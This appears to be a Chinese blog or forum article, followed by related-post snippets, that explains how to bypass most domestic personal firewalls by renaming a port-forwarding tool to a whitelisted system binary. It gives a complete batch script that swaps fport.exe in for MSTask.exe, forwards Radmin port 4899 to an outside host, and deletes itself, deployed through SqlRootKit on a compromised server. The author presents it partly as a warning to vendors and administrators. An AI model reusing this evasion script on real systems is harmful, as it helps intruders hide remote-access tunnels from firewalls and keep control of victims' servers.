找出通病 通杀国内软件防火墙的弱点

一直以来都有一个梦想:要是能发现些漏洞或BUG什么的该多好啊!于是整天对着电脑瞎弄瞎研究,研究什么呢?研究如何突破防火墙(偶这里指的防火墙是软体型的个人防火墙,硬件的偶也没条件。)嘿嘿,你还别说,还真没白研究,还真给偶发现了大多数防火墙的通病。这个BUG能让我们欺骗防火墙来达到访外的目的,具体情况是怎么样的呢?请看下面的解说!

  首先,我要介绍一下Windows系统特性,当一个程序运行时,它不能删除,但却能够改名!而当系统里的被保护程序遭到删除或损坏或改名时系统就会及时调用备份文件给予还原!我再讲讲防火墙,大家都知道许多防火墙的“应用程序规则”里一般默认就会让IE浏览器(iexplore.exe)、Outlook Express(msimn.exe)、lsass.exe、spoolsv.exe、MSTask.exe、winlogon.exe、services.exe、svchost.exe通过,而大多的防火墙认为只要是与规则里的路径及文件名相同就Pass!以这样的检测方法来决定是否放行,但它却完全没考虑到如果是别的文件替换的呢?——就相当于古装片里的易容术,易容后就认不得了!这就给了我们机会,我们可以利用这个BUG来欺骗防火墙来达到访外的目的!

  小知识:其实现在大多木马采用的DLL插线程技术也就是利用了这个原理,它们首先隐蔽的开启一个认证放行的程序进程(如Iexplore.exe进程),接着把DLL型木马插入这个线程内,然后访外时就可轻松突破防火墙的限制了——因为防火墙是不会拦截已认证放行的程序的。

  原理讲完了,我们现在讲讲该如何利用这个BUG了!这里我用虚拟机做实验,制造如下条件:

  为了更符合现实,我给服务器安装了“天网防火墙”、Radmin(但由于防火墙指定了访问IP地址,所以没办法正常连接!),MSSQL SERVER、Serv-u。首先我们用常用的方法进行端口转发,看看防火墙有什么反应!

  第一步,启用AngelShell Ver 1.0里的Fport(用来进行端口转发的服务端,几乎可以转发任何端口),然后在本地用FportClient(用来进行端口转发的客户端)监听好!

  第二步,直接在CMDSHELL里运行“e:\www\fport.exe 4899 192.168.1.1 7788”,这时我们看到虚拟机里的“天网”对Fport马上进行了拦截。

  看到了吧!由于Fport并不是认证放行的,防火墙马上就进行了拦截!OK,现在我们实行欺骗计划,看偶如何突破防火墙的!还是执行第一步,然后新建一个批处理,内容如下:

ren MSTask.exe MSTask1.exe

ren fport.exe MSTask.exe

MSTask.exe 4899 192.168.1.1 7788

Del %0

  命名为go.bat,接着用SqlRootKit把“Fport.exe”和go.bat 一起copy到目标机子的c:\winnt\system32\(也就是MSTask所在的目录)在SqlRootKit里执行go.bat(注意如果要改MSTask.exe的名的话就需要有管理员权限)。

  当FportClient出现“已经接受到远程计算机的连接!”时,用Radmin客户端连接本机的4899端口。

  我们已经成功突破限制(由于防火墙没有限制本地连接4899端口,我们用Fport转发了它的端口,登录时等于本地连接,因此我们能够成功连接),这样一来,我们本不能逃过防火墙的Fport便变成了一个有“插线程”技术的端口转发工具了!

  据我实验,国内的防火墙几乎无一例外的“拥有”这个BUG!虽然这个BUG不会带来什么大的危害,但总是给入侵者多了一个黑我们的机会!

  WTF老大说独乐乐不如众乐乐,所以我还是公布出来了,一是可以让我们国内的防火墙有所改进,二是给网管们提个醒!由于小弟技术有限,难免会出现错误,欢迎各位指正批评。

(0)

相关推荐

  • 找出通病 通杀国内软件防火墙的弱点

    一直以来都有一个梦想:要是能发现些漏洞或BUG什么的该多好啊!于是整天对着电脑瞎弄瞎研究,研究什么呢?研究如何突破防火墙(偶这里指的防火墙是软体型的个人防火墙,硬件的偶也没条件.)嘿嘿,你还别说,还真没白研究,还真给偶发现了大多数防火墙的通病.这个BUG能让我们欺骗防火墙来达到访外的目的,具体情况是怎么样的呢?请看下面的解说! 首先,我要介绍一下Windows系统特性,当一个程序运行时,它不能删除,但却能够改名!而当系统里的被保护程序遭到删除或损坏或改名时系统就会及时调用备份文件给予还原!我再讲

  • 通杀国内一些防火墙技巧

    一直以来都有一个梦想:偶要是能发现些漏洞或BUG什么的该多好啊!于是整天对着电脑瞎弄瞎研究,研究什么呢?研究如何突破防火墙(偶这里指的防火墙是软体型的个人防火墙,硬件的偶也没条件.)嘿嘿,你还别说,还真没白研究,还真给偶发现了大多数防火墙的通病.这个BUG能让我们欺骗防火墙来达到访外的目的,具体情况是怎么样的呢?请看下面的解说! 首先,我要介绍一下Windows系统特性,当一个程序运行时,它不能删除,但却能够改名!而当系统里的被保护程序遭到删除或损坏或改名时系统就会及时调用备份文件给予还原!我再

  • IIS 应用程序池 CPU 100% 分析软件,找出具体有问题的ASP程序URL

    IIS应用程序池分析软件有什么作用? 一个 IIS 6.0 / 7.0 服务器上可能存在着100-300个WEB站点,如果其中一个站点的ASP程序设计存在问题,那么将会引起CPU 持续占用100%,从而引起同一个服务器其他站点不能正常工作,或访问缓慢. 如果不能快速找出有问题的WEB站点,同一个服务器的用户QQ.电话可能不断.客户总是抱怨说什么服务器,这么慢老是出问题?怎么给客户解释-- 如何快速查找有问题的WEB站点? 找到后就直接关闭WEB站点吗?关闭站点意味着拒绝一个客户. 如何帮助客户找

  • 一个可以找出源代码中所有中文的工具

    一个可以找出源代码中所有中文的工具 填写需要查找的路径$sf即可. 功能 1 找出所有中文 2 忽略注释语句中的中文 3 可添加需要忽略的文件和文件夹 4 生成日志文件 如果您正发愁为自己的软件更新语言包 请使用此工具. 我的例子: http://127.0.0.1/tools/searchcn.php http://127.0.0.1/tools/cnlog.txt 复制代码 代码如下: <?php set_time_limit(0); ob_implicit_flush(); //注释格式

  • Python找出9个连续的空闲端口

    一.项目需求 安装某软件,配置时候需要填写空闲的端口.查看5个平台的某个端口是否被占用 5个平台为windows, linux, aix, hp, solaris 二.实现方案有两种 1.利用 python 的 socket 模块里的 def isInuse(ipList, port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) flag=True for ip in ipList: try: s.connect((ip, int

  • 找出元凶 Windows关机慢最新原因

    如果稍加留意,我们便可以看出Windows 2000及其后的操作系统在进行关机前会经过注销.保存用户设置等一系列的操作,需要消耗一定的时间,因此注销速度过于缓慢成了不少用户的心病.其实,很多情况是因为用户配置文件没有及时得到释放所引起的. 一.预备知识--用户配置文件(User Profile) 为了让使用同一台电脑中的多个用户都能拥有自己的个性化设置,微软在Windows 2000/XP/2003中设计了用户配置文件来保存每个用户的设置,当在Windows登录窗口中输入用户名和正确的密码后,W

  • 找出nginx配置文件的所在位置的方法详解

    对于一台陌生的服务器或安装太久忘了位置,怎么才能简单快速的找到配置文件的位置呢?要找出配置文件的位置,需要先找出nginx可执行文件的路径 , 这里有几种方法: 1.如果程序在运行中 ps -ef | grep nginx # ps -ef | grep nginx root 29514... 对于一台陌生的服务器或安装太久忘了位置,怎么才能简单快速的找到配置文件的位置呢? 要找出配置文件的位置,需要先找出nginx可执行文件的路径 , 这里有几种方法: 1.如果程序在运行中 ps -ef |

  • JS使用正则表达式找出最长连续子串长度

    废话不多说了,直接给大家贴代码了,具体代码如下所示: function maxLenStr(str){ var len = 0, max_len = 0; var reg = new RegExp("(.)\\1{1,}","g"); var res = reg.exec(str); while(res != null){ len = res[0].length; if(max_len < len){ max_len = len; } res = reg.ex

  • PHP实现找出数组中出现次数超过数组长度一半的数字算法示例

    本文实例讲述了PHP实现找出数组中出现次数超过数组长度一半的数字算法.分享给大家供大家参考,具体如下: <?php * 算法要求:数组中有一个数字出现的次数超过了数组长度的一半,找出这个数字. * * 算法分析:我们需要计算数组中每个数字的出现次数.在PHP中我们可以使用in_array函数 * 来判断一个元素是否出现在数组中.比如数组中含有1,2,3三个元素,我们要判断1是否存在 * 可以使用in_array(1,$array)来判断,但是这样只能判断1出现了一次,因为对于含有数组 * 元素1

  • 使用正则表达式找出不包含特定字符串的条目

    做日志分析工作的经常需要跟成千上万的日志条目打交道,为了在庞大的数据量中找到特定模式的数据,常常需要编写很多复杂的正则表达式.例如枚举出日志文件中不包含某个特定字符串的条目,找出不以某个特定字符串打头的条目,等等. 使用否定式前瞻 正则表达式中有前瞻(Lookahead)和后顾(Lookbehind)的概念,这两个术语非常形象的描述了正则引擎的匹配行为.需要注意一点,正则表达式中的前和后和我们一般理解的前后有点不同.一段文本,我们一般习惯把文本开头的方向称作"前面",文本末尾方向称为&

随机推荐